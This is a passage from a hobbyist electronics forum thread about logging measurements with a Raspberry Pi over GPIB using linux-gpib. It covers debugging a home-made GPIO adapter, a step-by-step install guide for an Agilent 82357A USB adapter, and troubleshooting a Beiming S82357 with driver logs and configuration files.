        write (c)ommand bytes to bus (system controller only)
        send (d)evice clear (device only)
        change remote (e)nable line (system controller only)
        (g)o to standby (release ATN line, system controller only)
        send (i)nterface clear (system controller only)
        ta(k)e control (assert ATN line, system controller only)
        get bus (l)ine status (board only)
        go to local (m)ode
        change end (o)f transmission configuration
        (q)uit
        (r)ead string
        perform (s)erial poll (device only)
        change (t)imeout on io operations
        request ser(v)ice (board only)
        (w)rite data string
        send group e(x)ecute trigger (device only)
: k
Enter '1' to assert ATN synchronously, or '0' for asynchronously [1]: 1
Taking control synchronously...
gpib status is:
ibsta = 0x8100  < ERR CMPL >
iberr= 4
EARG 4: Bad argument

ibcntl = 0

I also tried using Python commands, but with similar results.

The interface circuit I use seems to be working fine as I can send commands to instruments just fine and can read measurements from keithleys using an Arduino running AR488 connected to said circuit.

I think what I need is just a kick in the right direction to get me rolling forward, so if anyone has any good suggestions, please let me know :)

     Perhaps I misunderstand, but above looks like the problem is with the communication between linux-gpib <-> GPIO based GPIB adaptor and unrelated to the instrument, doesn't it?  Is that a self-made adaptor?  Perhaps worth testing with a more common interface (if a PC is available, then an old ISA or PCI based adaptor would be best; on the Pi that's not an option -- there a pricey Agilent or NI USB adaptor might be best) might help locate the problem.
 

Offline nitromethane

  • Contributor
  • Posts: 11
  • Country: si
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #407 on: November 15, 2021, 09:18:15 pm »
Basically I'm able to transmit commands, but not receive data back.

I'm using a self made GPIB adapter with SN7516x bus drivers wired according to pin definitions in "gpib_bitbang.c" file of the kernel module source (https://sourceforge.net/p/linux-gpib/code/HEAD/tree/trunk/linux-gpib-kernel/drivers/gpib/gpio/gpib_bitbang.c).
As a next step I'm going to try bypassing the SN7516x drivers and wiring the GPIB bus directly to RPi's GPIO pins, but haven't found time yet to do so.

The same circuit seems to work just fine when connected to an Arduino Micro running AR488 firmware, I'm able to transmit commands and receive data just fine.
That rules out problems with instruments, wires and adapter circuit I guess.

AR488 firmware seems to work just fine with my Keithley 196 and 199 and the adapter board I made fro the Raspi.

At the moment I don't have access to any other working GPIB adapters, but I'm starting to think I should get my self an old PIC adapter from fleabay. Any reliable suggestions?
 

Offline guenthert

  • Frequent Contributor
  • **
  • Posts: 706
  • Country: de
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #408 on: November 16, 2021, 05:28:01 pm »
[..]
As a next step I'm going to try bypassing the SN7516x drivers and wiring the GPIB bus directly to RPi's GPIO pins, but haven't found time yet to do so.
      Perhaps I'm interpreting the 'directly' too literally, but keep in mind that the RPi's bus, unlike AVR based Arduinos, is not 5V tolerant.

 

Offline nitromethane

  • Contributor
  • Posts: 11
  • Country: si
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #409 on: November 16, 2021, 09:24:35 pm »
According to "Tutorial Description of the Hewlett-Packard Interface Bus", this implementation https://github.com/elektronomikon/raspizero_gpib_shield, and poking at the GPIB port with a DMM, I should (??) be safe to wire the RPi directly to the bus.

So any way, I deleted the driver ICs wired the GPIB bus to RPi via some 100ohm resistors, and hid behind a brick wall.
The good news: RPi is still alive and is able to read data from instruments.  :-+
The bad news: My circuit sucks for some reason and it's already the 1st revision of the PCB I had made |O

Code: [Select]
You can:
        w(a)it for an event
        write (c)ommand bytes to bus (system controller only)
        send (d)evice clear (device only)
        change remote (e)nable line (system controller only)
        (g)o to standby (release ATN line, system controller only)
        send (i)nterface clear (system controller only)
        ta(k)e control (assert ATN line, system controller only)
        get bus (l)ine status (board only)
        go to local (m)ode
        change end (o)f transmission configuration
        (q)uit
        (r)ead string
        perform (s)erial poll (device only)
        change (t)imeout on io operations
        request ser(v)ice (board only)
        (w)rite data string
        send group e(x)ecute trigger (device only)
: r
enter maximum number of bytes to read [1024]:
trying to read 1024 bytes from device...
received string: 'NDCV+03.38573E+0
'
Number of bytes read: 18
gpib status is:
ibsta = 0x2100  < END CMPL >
iberr= 0

ibcntl = 18

I'm attaching the GPIB part of my circuit. The left side connects directly to the RPi GPIO

Right, back to debugging my circuit...

 

Offline picburner

  • Frequent Contributor
  • **
  • Posts: 496
  • Country: it
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #410 on: November 18, 2021, 08:22:21 am »
Linux-gpib is only compatible with this supported hardware.
If your hardware isn't on the list it most likely won't work.
 

Online e61_phil

  • Frequent Contributor
  • **
  • Posts: 962
  • Country: de
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #411 on: November 18, 2021, 08:31:16 am »
For an own GPIB Apdapter I would recommend building something with an Vxi11 interface. Implementing read and write is sufficient for almost everything and you can then even use pyvisa on top of that.
 

Offline guenthert

  • Frequent Contributor
  • **
  • Posts: 706
  • Country: de
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #412 on: November 18, 2021, 06:44:01 pm »
Linux-gpib is only compatible with this supported hardware.
If your hardware isn't on the list it most likely won't work.
     I think nitromethane is shooting for compatibility to the "GPIO bitbang adapter".   Seems to be new-ish (started in 2016, most recent modifications spring 2021).  I think that's very interesting and would like to see it work :)
     IMHO, for a cheap adapter at the tail of a USB cable and directly connecting to a GPBI interface of a single instrument (like e.g. AR488), leaving the bus driver out as a cost-reduction measure seems sensible.  When connecting multiple, even old, devices via potentially quite long cables, this seems much more questionable.
« Last Edit: November 20, 2021, 12:57:38 am by guenthert »
 

Offline nitromethane

  • Contributor
  • Posts: 11
  • Country: si
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #413 on: November 18, 2021, 07:21:48 pm »
Just to be clear, yes I'm trying to get the Linux-gpib GPIO bitbang driver working with a self made interface circuit with a few extra bits along side the GPIB bus drives.

I found the problem with my circuit. DAV, NRFD and NDAC lines on the raspberry side need pull-up resistors.
When testing with an Arduino this wasn't an issue since the pull-ups seem to be taken care of inside the MCU, but I was naive in thinking that pull-ups were also taken care inside of the SoC.
Now with 10k resistors pulling to 3,3V, my interface circuit finally seems work properly.

I'll do a new revision of the circuit (hopefully the last one) and if I'm happy with it, I was thinking of open sourcing the design.
 

Online e61_phil

  • Frequent Contributor
  • **
  • Posts: 962
  • Country: de
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #414 on: November 19, 2021, 06:56:54 am »
Just to be clear, yes I'm trying to get the Linux-gpib GPIO bitbang driver working with a self made interface circuit with a few extra bits along side the GPIB bus drives.

Why not writing an own userlevel "driver"? Linux-GPIB is really a pain and in your case it would be simple to avoid it.
 

Offline nitromethane

  • Contributor
  • Posts: 11
  • Country: si
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #415 on: November 19, 2021, 09:53:40 pm »
I was already considering writing my own GPIB bitbang library in python until I got the thing working, which considering this is my first time doing anything GPIB or computer controlled measuring equipment in general would be a big project to say the least.

Now I'm almost afraid to ask, but why is linux-gpib a pain?
Aside from needing recompiling every time the kernel gets updated the linux-gpib GPIO driver seems to work fine, if the interface circuit is correctly implemented.
 

Offline guenthert

  • Frequent Contributor
  • **
  • Posts: 706
  • Country: de
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #416 on: November 20, 2021, 01:00:28 am »
[..]
Why not writing an own userlevel "driver"? Linux-GPIB is really a pain and in your case it would be simple to avoid it.
     ???  Seems to compile and install still (even though it's old) just fine.  Where's the pain?
And there's some value in partly reusing already tested code instead of inventing the wheel once again and not quite round.
 

Offline perdrix

  • Frequent Contributor
  • **
  • Posts: 635
  • Country: gb
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #417 on: November 23, 2021, 12:17:40 pm »
Will this do the drift measurement for a 3458A as per service note 18A?

How do I connect it to GPIB bus?  I have NI USB-GPIB-HS/HS+ adapters

Thanks
David
 

Offline nitromethane

  • Contributor
  • Posts: 11
  • Country: si
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #418 on: December 30, 2021, 05:56:13 pm »
I finally got my GPIB interface circuit for Raspberry Pi properly working and open sourced the design.
forum topic: https://www.eevblog.com/forum/projects/graspib-gpib-interface-for-raspberry-pi/
 
The following users thanked this post: ramon


Offline JoeMeta

  • Newbie
  • Posts: 2
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #420 on: May 26, 2023, 02:46:35 pm »
Hi everyone,

This thread and the install script were very helpful.  However, out of the clipboard it didn't quite work for me.  I'm using a Raspberry pi CM4 on the reference I/O expander board.    Running Raspbian Bullseye in late May of 2023.

Here are the changes / extra steps I did to get it working for my Agilent 82357A GPIB to USB adapter:

Add "arm_64bit=0" to ./boot/config.txt
Added "/home/pi/.local/bin" to my path variable to resolve some warnings. The command is:
export PATH=$PATH:/home/pi/.local/bin
added make clean between the make and make install steps
in step 2 ran the risky kernel upgrade: "sudo apt-get install --reinstall raspberrypi-bootloader raspberrypi-kernel"
measat_releaseX1.8.hex doesn't work, put 82357a_fw.hex where measat was going in step 4.2, in my case"/usr/local/share/usb/agilent_82357a"
ignored system.map errors when installing the kernel driver
reboot between steps - if something doesn't work reboot and try again, then if still not working run "sudo apt-get update && sudo apt-get upgrade && sudo apt-get dist-upgrade" and reboot again and try again.
step 6.1 was needed

In 4.2 the gpib.conf file, board type = agilent_82357a

Also in step 4 if people copy and paste the wget command with the HTML url tags then it will fail to download.
I also manually edited the file gpib.conf in step 4 since I wasn't sure if the script would work as intended. Replacing: board_type = "NI HS whatever" with board_type = "agilent_82357a"

Also keep in mind 6.2 is still using the measat firmware so it needs to be adjusted before attempting to use it with a Agilent 82357A.

Code: [Select]

Install GPIB on Linux with Agilent USB-GPIB adapter (tested with Raspberry Pi OS Lite 32bit 2022-04-04 Bullseye (5.15.32-v7+) and linux gpib 4.3.4 (r2025) on pi3):
Joe Meta's tweaks:
Add "arm_64bit=0" to ./boot/config.txt
//my path = /home/pi/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games
export PATH=$PATH:/home/pi/.local/bin
echo $PATH
added make clean between the make and make install steps
in step 2 ran the risky kernel upgrade: "sudo apt-get install --reinstall raspberrypi-bootloader raspberrypi-kernel"
measat_releaseX1.8.hex doesn't work, put 82357a_fw.hex where measat was going in step 4.2, in my case"/usr/local/share/usb/agilent_82357a"
ignore system.map errors
reboot between steps - if something doesn't work reboot and try again, then if still not working run "sudo apt-get update && sudo apt-get upgrade && sudo apt-get dist-upgrade" and reboot again and try again.
step 6.1 was needed


Sources:
[url]https://xdevs.com/guide/agilent_gpib_rpi/[/url]
[url]https://www.eevblog.com/forum/metrology/raspberry-pi23-logging-platform-for-voltnuts/msg1301773/#msg1301773[/url]
[url]https://www.eevblog.com/forum/reviews/using-a-raspberry-pi-with-linux-gpib-and-a-beiming-or-agilent-usb-gpib-adapter/?all[/url]
[url]https://sourceforge.net/p/linux-gpib/code/HEAD/tree/trunk/[/url] -> History

1. Preparation
sudo apt-get update && sudo apt-get upgrade && sudo apt-get dist-upgrade && echo 'Rebooting...' && sudo reboot

2. Install Kernel-Headers
sudo apt-get install raspberrypi-kernel-headers && [ -d /usr/src/linux-headers-$(uname -r) ] && echo 'kernel-headers installed' || echo 'ERROR: wrong or no kernel-headers installed: '$(ls /usr/src/)', should be '$(uname -r  | cut -d+ -f1)

//If newer headers are installed, updating kernel could be an option (at your own risk)
sudo apt-get update && sudo apt-get install --reinstall raspberrypi-bootloader raspberrypi-kernel

//If older headers are installed, we are stuck and have to wait until the newer headers are released

3. Install GPIB

3.1 Install build-tools
sudo apt-get install build-essential texinfo texi2html libcwidget-dev tcl8.6-dev tk8.6-dev libncurses5-dev libx11-dev binutils-dev bison flex libusb-1.0-0 libusb-dev libmpfr-dev libexpat1-dev tofrodos subversion autoconf automake libtool libpython3-dev


3.2 Build & install GPIB kernel module  //was getting stuck here
sudo svn checkout svn://svn.code.sf.net/p/linux-gpib/code/trunk /usr/local/src/linux-gpib-code
cd /usr/local/src/linux-gpib-code/linux-gpib-kernel/ && sudo make
sudo make clean
sudo make install

3.3 Build & install GPIB user module
cd /usr/local/src/linux-gpib-code/linux-gpib-user/
sudo ./bootstrap
sudo ./configure
sudo make
sudo make clean
sudo make install

4. Install Agilent 82357a

4.1 Get Firmware
cd /usr/local/src/linux-gpib-code/ && sudo apt-get install fxload
&&
sudo wget [url]https://linux-gpib.sourceforge.io/firmware/gpib_firmware-2008-08-10.tar.gz[/url]
 &&
sudo tar xvzf gpib_firmware-2008-08-10.tar.gz
&&
cd /usr/local/src/linux-gpib-code/gpib_firmware-2008-08-10/agilent_82357a/

4.2 Config
//adapter
sudo nano $(sudo find / -name 'gpib.conf' | grep etc) //new location since r1757 (changed from /etc/gpib.conf to $(sysconfdir)/gpib.conf)
-> board_type = "agilent_82357a"

//auto download firmware - wrong file, correct location - should use 82357a_fw.hex
//sudo cp /usr/local/src/linux-gpib-code/gpib_firmware-2008-08-10/agilent_82357a/measat_releaseX1.8.hex $(sudo find / -type d -name 'agilent_82357a' | grep usb | grep -v gpib)
//corrected version:
sudo cp /usr/local/src/linux-gpib-code/gpib_firmware-2008-08-10/agilent_82357a/82357a_fw.hex $(sudo find / -type d -name 'agilent_82357a' | grep usb | grep -v gpib)

//udev rules
sudo cp /usr/local/etc/udev/rules.d/* /etc/udev/rules.d/  //seems that the udev rules are copied to incorrect location - bug in gpib or raspbian? In r1730 everything is fine, in which release does it break?

// Grant user permission
// Since r1748, group gpib has to be created manually
sudo groupadd gpib
// Add user to group - for other user replace 'pi' with name of other user
sudo adduser pi gpib

5. Finish

5.1 Reboot
sudo reboot
//after reboot, all leds should be lit on the adapter (2x green, red) and finally only one green, if not there is a problem (see 6)
//after plug-in the adapter all leds should be lit (2x green, red) and finally only one green, if not there is a problem (see 6)

5.2 Test with connected equipment (optional)
ibtest
d
//device id
w
//after here is device specific, given are examples for HP/Agilent/Keysight devices (tested with 3457A/3458A)
END ALWAYS
w
ID?
r
[enter]
//prints: HP345xA
q //quit


6 Trouble-shooting

6.1 Test gpib module
lsmod | grep gpib_common
//Should give a line back with gpib_common, if not try next step

sudo modprobe gpib_common
lsmod | grep gpib_common
//should finish without error & print gpib_common, else gpib is not installed -> try 3. and watch out for errors

6.2 Test Adapter (only needed if not all leds are lit)
//Load Firmware for testing (latest point to plugin Adapter)
cd /usr/local/src/linux-gpib-code/gpib_firmware-2008-08-10/agilent_82357a/
lsusb -d 0957:0518 //output: Bus xxx Device yyy: ID 0957:0518 Agilent Technologies, Inc. 82357B GPIB Interface

sudo fxload -t fx2 -D /dev/bus/usb/xxx/yyy -I ./measat_releaseX1.8.hex //1st FW load

lsusb -d 0957:0518 //output: Bus xxx Device zzz: ID 0957:0518 Agilent Technologies, Inc. 82357B GPIB Interface

sudo fxload -t fx2 -D /dev/bus/usb/xxx/zzz -I ./measat_releaseX1.8.hex //2nd FW load

lsusb -d 0957:0718 //output (ID changed to 0957:0718 and all leds 2x green & red on adapter are lit) : Bus xxx Device xyz: ID 0957:0718 Agilent Technologies, Inc.

lsmod | grep agilent //output (2 lines): agilent_82357a & gpib_common

6.3 Test userspace
sudo ldconfig && sudo gpib_config
//finish without error, else the configuration is not correct -> 4.2
« Last Edit: May 29, 2023, 03:08:02 pm by JoeMeta »
 

Offline chekhov

  • Regular Contributor
  • *
  • Posts: 116
  • Country: by
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #421 on: May 27, 2023, 09:50:38 am »
Hi, thanks for your experience, but let me add a few notes:

It would be good to maybe tell which issues you had, and why each 'hack' worked out.
  • Quote
    Add "arm_64bit=0" to ./boot/config.txt
    that seems to be related with some issues with upgrading to 64-bit kernel version instead of 32-bit if I googled it right, so that's a note for the users of this board, not necessary step for everybody, and likely not for this board either unless they are going to upgrade.
  • Quote
    added make clean between the make and make install steps
    quite illogical step I would say, we build everything and then broke everything with a big hummer. I suppose you had built artifacts from previous attempt that's why it didn't 'make' again, so if doing it right it should be "make clean && make && sudo make install"
  • Quote
    ignored system.map errors when installing the kernel driver
    it looks like you tried to insert driver for wrong kernel or just haven't rebooted to get it match your kernel, or there might be some hidden issue with driver itself, but that's definitely not the recommended behavior

Regarding upgrade - the issue is that by just doing "apt-get install something" you won't install kernel headers for the kernel you are running right now, it will install the latest ones (that your cached pat database knows about), that's why upgrade to newest kernel first before trying all other steps makes sense.

Regarding wget argument you are right, it's just a copy-paste, and not a script that is supposed to run copy-pasted. That could be updated.
 

Offline MiDi

  • Frequent Contributor
  • **
  • Posts: 599
  • Country: ua
 
The following users thanked this post: croma641

Online e61_phil

  • Frequent Contributor
  • **
  • Posts: 962
  • Country: de
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #423 on: September 25, 2023, 03:54:45 pm »
Thanks to mendip-defender I was also able to update the github repo. It was tested last week with a Raspberry Pi 4
 
The following users thanked this post: MiDi

Offline electronomicon

  • Contributor
  • Posts: 34
  • Country: de
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #424 on: November 23, 2023, 08:03:47 am »
Hi!

I hope this is the right place to ask for some help …

I’m trying to get the setup from MiDi running on a Raspberry Pi Zero with a Beiming S82357 adapter.
I read in the forum that the adapter should be well supported, linux-gpib also lists support, albeit only from firmware version 1.20. Is there a way to check the firmware version of the adapter?

The installation works fine, but when I try to run ibtest and connect to a device, it fails:
Code: [Select]
ibtest
Do you wish to open a (d)evice or an interface (b)oard?
(you probably want to open a device): d
enter primary gpib address for device you wish to open [0-30]: 1
trying to open pad = 1 on /dev/gpib0 ...
libgpib: IBOPENDEV ioctl failed
libgpib: error in is_cic()!
ibdev error

ibsta = 0x8000  < ERR >
iberr= 0
EDVR 0: OS error

ibcntl = 22
Aborted

I then followed the trouble-shooting guide, where
Code: [Select]
sudo ldconfig && sudo gpib_config failed, too:
Code: [Select]
failed to bring board online
failed to configure board
main: Input/output error

I tried uploading the Agilent 82357A driver, despite this being noted not necessary on the linux-gpib supported hardware site, as it seemed to have helped in this case.
Afterwards, gpib_config indeed ran without errors but when I tried to communicate with any device (via ibtest) I always got another error:
Code: [Select]
enter a string to send to your device: *IDN?
sending string: *IDN?

gpib status is:
ibsta = 0xc100  < ERR TIMO CMPL >
iberr= 14
EBUS 14: Bus error

ibcntl = 0

My devices run on addresses 1, 2 and 3. I tested the whole setup successfully with the Agilent IO suite on windows.

I'm also using a gpib_conf that user bingo600 has noted to work on this adapter:
Code: [Select]
interface {
minor = 0 /* board index, minor = 0 uses /dev/gpib0, minor = 1 uses /dev/gpib1, etc. */
board_type = "agilent_82357a" /* type of interface board being used */
name = "usb_gpib" /* optional name, allows you to get a board descriptor using ibfind() */
pad = 0 /* primary address of interface             */
sad = 0 /* secondary address of interface           */
timeout = T3s /* timeout for commands */

eos = 0xa /* EOS Byte, 0xa is newline and 0xd is carriage return */
set-reos = yes /* Terminate read if EOS */
set-bin = yes /* Compare EOS 8-bit */
set-xeos = no /* Assert EOI whenever EOS byte is sent */
set-eot = yes /* Assert EOI with last byte on writes */

/* settings for boards that lack plug-n-play capability */
  /* base = 0 */    /* Base io ADDRESS                  */
      /* irq  = 0 */    /* Interrupt request level */
      /* dma  = 0 */    /* DMA channel (zero disables)      */

      master = yes /* interface board is system controller */
}

I tried to get this running the whole day yesterday  |O and would be really grateful for some help.
 

Offline alm

  • Super Contributor
  • ***
  • Posts: 2840
  • Country: 00
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #425 on: November 23, 2023, 09:44:42 am »
Is there anything in dmesg output regarding GPIB or the agilent_82357a driver? Like the USB device getting plugged in, the agilent_82357a detecting them, etc. There are some examples of what logs might look like in the first post of this thread:
Code: [Select]
Nov 11 20:28:22 raspberrypi-3 kernel: [  560.873199] usb 1-1.3: new high-speed USB device number 7 using dwc_otg
Nov 11 20:28:23 raspberrypi-3 kernel: [  561.205274] usb 1-1.3: New USB device found, idVendor=0957, idProduct=0718
Nov 11 20:28:23 raspberrypi-3 kernel: [  561.205304] usb 1-1.3: New USB device strings: Mfr=1, Product=2, SerialNumber=5
Nov 11 20:28:23 raspberrypi-3 kernel: [  561.205321] usb 1-1.3: Product: S82357 ()
Nov 11 20:28:23 raspberrypi-3 kernel: [  561.205337] usb 1-1.3: Manufacturer: BEIMING Technologies, Inc.
Nov 11 20:28:23 raspberrypi-3 kernel: [  561.205352] usb 1-1.3: SerialNumber: CP1001xxxx
Nov 11 20:28:23 raspberrypi-3 kernel: [  561.215169] probe succeeded for path: usb-bcm2708_usb-1.3
Nov 11 20:29:37 raspberrypi-3 kernel: [  635.696267] gpib0: exiting autospoll thread
Nov 11 20:29:37 raspberrypi-3 kernel: [  635.696388] agilent_82357a_detach: detached
Nov 11 20:29:37 raspberrypi-3 kernel: [  635.696526] attached to bus interface 0, address 0xda1b7000
Nov 11 20:29:37 raspberrypi-3 kernel: [  635.715456] agilent_82357a_attach: attached

Offline electronomicon

  • Contributor
  • Posts: 34
  • Country: de
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #426 on: November 23, 2023, 11:29:50 am »
Yes, this shows up when I plug in the USB:
Code: [Select]
[67387.885647] usb 1-1: new high-speed USB device number 7 using dwc_otg
[67387.885885] Indeed it is in host mode hprt0 = 00001101
[67388.126204] usb 1-1: config 1 interface 0 altsetting 0 bulk endpoint 0x82 has invalid maxpacket 511
[67388.127062] usb 1-1: New USB device found, idVendor=0957, idProduct=0718, bcdDevice= 0.00
[67388.127106] usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=5
[67388.127124] usb 1-1: Product: S82357 ()
[67388.127137] usb 1-1: Manufacturer: BEIMING Technologies, Inc.
[67388.127151] usb 1-1: SerialNumber: CP1001xxxx
[67388.146127] probe succeeded for path: usb-20980000.usb-1
[67388.495567] usb 1-1: bus 1 dev num 7 attached to gpib minor 0, agilent usb interface 0
[67389.505770] agilent_82357a_write_registers: agilent_82357a_receive_bulk_msg returned -110, bytes_read=0
[67389.505810] agilent_82357a_dump_raw_block:

[67389.505825] agilent_82357a_init: agilent_82357a_write_registers() returned error
[67390.545741] agilent_82357a_write_registers: agilent_82357a_receive_bulk_msg returned -110, bytes_read=0
[67390.545785] agilent_82357a_dump_raw_block:

[67390.545800] agilent_82357a_go_idle: agilent_82357a_write_registers() returned error
[67390.545822] agilent_82357a_detach: detached
[67390.545833] gpib: interface attach failed

Just noticed there are errors in the log … they were black on black on my terminal, so I haven’t noticed them before  |O.
« Last Edit: November 23, 2023, 11:33:06 am by electronomicon »
 

Offline alm

  • Super Contributor
  • ***
  • Posts: 2840
  • Country: 00
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #427 on: November 23, 2023, 12:34:03 pm »
So clearly the agilent_82357a driver is not very happy. I haved used the Beiming adapter myself, but I'd start by checking the firmware version. Maybe lsub -vv will show something useful? Instructions I've read were to contact Beiming for a new firmware version. I'm not sure if this person is still supporting them since they stopped selling then a while ago. See this old post.

Offline electronomicon

  • Contributor
  • Posts: 34
  • Country: de
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #428 on: November 23, 2023, 12:51:38 pm »
I tried lsusb -vv, but don’t see anything looking like a fw version number. Here’s the result:
Code: [Select]
Bus 001 Device 007: ID 0957:0718 Agilent Technologies, Inc. S82357 ()
Device Descriptor:
  bLength                18
  bDescriptorType         1
  bcdUSB               2.00
  bDeviceClass            0
  bDeviceSubClass         0
  bDeviceProtocol         0
  bMaxPacketSize0        64
  idVendor           0x0957 Agilent Technologies, Inc.
  idProduct          0x0718
  bcdDevice            0.00
  iManufacturer           1 BEIMING Technologies, Inc.
  iProduct                2 S82357 ()
  iSerial                 5 CP1001xxxx
  bNumConfigurations      1
  Configuration Descriptor:
    bLength                 9
    bDescriptorType         2
    wTotalLength       0x0027
    bNumInterfaces          1
    bConfigurationValue     1
    iConfiguration          3 (error)
    bmAttributes         0x80
      (Bus Powered)
    MaxPower              500mA
    Interface Descriptor:
      bLength                 9
      bDescriptorType         4
      bInterfaceNumber        0
      bAlternateSetting       0
      bNumEndpoints           3
      bInterfaceClass         0
      bInterfaceSubClass      0
      bInterfaceProtocol      0
      iInterface              0
      Endpoint Descriptor:
        bLength                 7
        bDescriptorType         5
        bEndpointAddress     0x82  EP 2 IN
        bmAttributes            2
          Transfer Type            Bulk
          Synch Type               None
          Usage Type               Data
        wMaxPacketSize     0x01ff  1x 511 bytes
        bInterval               0
      Endpoint Descriptor:
        bLength                 7
        bDescriptorType         5
        bEndpointAddress     0x06  EP 6 OUT
        bmAttributes            2
          Transfer Type            Bulk
          Synch Type               None
          Usage Type               Data
        wMaxPacketSize     0x0200  1x 512 bytes
        bInterval               0
      Endpoint Descriptor:
        bLength                 7
        bDescriptorType         5
        bEndpointAddress     0x88  EP 8 IN
        bmAttributes            3
          Transfer Type            Interrupt
          Synch Type               None
          Usage Type               Data
        wMaxPacketSize     0x0008  1x 8 bytes
        bInterval               1

Also found an e-mail address on google groups that should be contacted to get updated firmware (that post was even older than the one you linked, though). I wrote to that already, but no response so far. I’ll try it through the forum, too, maybe that will work.
 

Offline guenthert

  • Frequent Contributor
  • **
  • Posts: 706
  • Country: de
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #429 on: November 23, 2023, 04:38:49 pm »
Hi!

I hope this is the right place to ask for some help …

I’m trying to get the setup from MiDi running on a Raspberry Pi Zero with a Beiming S82357 adapter.
I read in the forum that the adapter should be well supported, linux-gpib also lists support, albeit only from firmware version 1.20. Is there a way to check the firmware version of the adapter?
Not that I know of.  It's my understanding that the Beiming/Agilent 82357 holds only a minimal boot ROM and the actual firmware is uploaded when connecting to the USB bus.  So it's actually the host OS which provides the firmware via the fxload executable in user space (/usr/sbin/fxload).  In the log files (/var/log/syslog) there should be a note regarding which file is being uploaded (`grep fxload /var/log/syslog`).

The installation works fine, but when I try to run ibtest and connect to a device, it fails:
Code: [Select]
ibtest
Do you wish to open a (d)evice or an interface (b)oard?
(you probably want to open a device): d
enter primary gpib address for device you wish to open [0-30]: 1
trying to open pad = 1 on /dev/gpib0 ...
libgpib: IBOPENDEV ioctl failed
libgpib: error in is_cic()!
ibdev error

ibsta = 0x8000  < ERR >
iberr= 0
EDVR 0: OS error

ibcntl = 22
Aborted

I then followed the trouble-shooting guide, where
Code: [Select]
sudo ldconfig && sudo gpib_config failed, too:
Code: [Select]
failed to bring board online
failed to configure board
main: Input/output error

I tried uploading the Agilent 82357A driver, despite this being noted not necessary on the linux-gpib supported hardware site, as it seemed to have helped in this case.
Afterwards, gpib_config indeed ran without errors
That's good news actually.  I'd think you're mostly there then.  You might want to verify the udev rules, perhaps the firmware was not uploaded on connect as it ought to be (again, there should be hints in the syslog file).

but when I tried to communicate with any device (via ibtest) I always got another error:
Code: [Select]
enter a string to send to your device: *IDN?
sending string: *IDN?

gpib status is:
ibsta = 0xc100  < ERR TIMO CMPL >
iberr= 14
EBUS 14: Bus error

ibcntl = 0

My devices run on addresses 1, 2 and 3. I tested the whole setup successfully with the Agilent IO suite on windows.
Sure nothing has changed?  The GPIB cable is tightly connected?  The majority of the devices on the bus are on?  The Raspberry Pi gets enough power (don't laugh: poor (USB) power cable is a major issue with Raspberry Pi, recent Linux kernels at least log (you find it in /var/log/syslog) when the CPU determines that there is barely enough juice, which might not be enough of USB devices to work correctly.


I'm also using a gpib_conf that user bingo600 has noted to work on this adapter:
Code: [Select]
interface {
minor = 0 /* board index, minor = 0 uses /dev/gpib0, minor = 1 uses /dev/gpib1, etc. */
board_type = "agilent_82357a" /* type of interface board being used */
name = "usb_gpib" /* optional name, allows you to get a board descriptor using ibfind() */
pad = 0 /* primary address of interface             */
sad = 0 /* secondary address of interface           */
timeout = T3s /* timeout for commands */

eos = 0xa /* EOS Byte, 0xa is newline and 0xd is carriage return */
set-reos = yes /* Terminate read if EOS */
set-bin = yes /* Compare EOS 8-bit */
set-xeos = no /* Assert EOI whenever EOS byte is sent */
set-eot = yes /* Assert EOI with last byte on writes */

/* settings for boards that lack plug-n-play capability */
  /* base = 0 */    /* Base io ADDRESS                  */
      /* irq  = 0 */    /* Interrupt request level */
      /* dma  = 0 */    /* DMA channel (zero disables)      */

      master = yes /* interface board is system controller */
}
Looks good, that's not the problem.  If you could share the syslog, then we might get further.
 

Offline guenthert

  • Frequent Contributor
  • **
  • Posts: 706
  • Country: de
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #430 on: November 23, 2023, 04:41:32 pm »
I tried lsusb -vv, but don’t see anything looking like a fw version number. Here’s the result:
Code: [Select]
Bus 001 Device 007: ID 0957:0718 Agilent Technologies, Inc. S82357 ()
Device Descriptor:
  bLength                18
  bDescriptorType         1
  bcdUSB               2.00
  bDeviceClass            0
  bDeviceSubClass         0
  bDeviceProtocol         0
  bMaxPacketSize0        64
  idVendor           0x0957 Agilent Technologies, Inc.
  idProduct          0x0718
  bcdDevice            0.00
  iManufacturer           1 BEIMING Technologies, Inc.
  iProduct                2 S82357 ()
  iSerial                 5 CP1001xxxx
  bNumConfigurations      1
  Configuration Descriptor:
    bLength                 9
    bDescriptorType         2
    wTotalLength       0x0027
    bNumInterfaces          1
    bConfigurationValue     1
    iConfiguration          3 (error)
    bmAttributes         0x80
      (Bus Powered)
    MaxPower              500mA
    Interface Descriptor:
      bLength                 9
      bDescriptorType         4
      bInterfaceNumber        0
      bAlternateSetting       0
      bNumEndpoints           3
      bInterfaceClass         0
      bInterfaceSubClass      0
      bInterfaceProtocol      0
      iInterface              0
      Endpoint Descriptor:
        bLength                 7
        bDescriptorType         5
        bEndpointAddress     0x82  EP 2 IN
        bmAttributes            2
          Transfer Type            Bulk
          Synch Type               None
          Usage Type               Data
        wMaxPacketSize     0x01ff  1x 511 bytes
        bInterval               0
      Endpoint Descriptor:
        bLength                 7
        bDescriptorType         5
        bEndpointAddress     0x06  EP 6 OUT
        bmAttributes            2
          Transfer Type            Bulk
          Synch Type               None
          Usage Type               Data
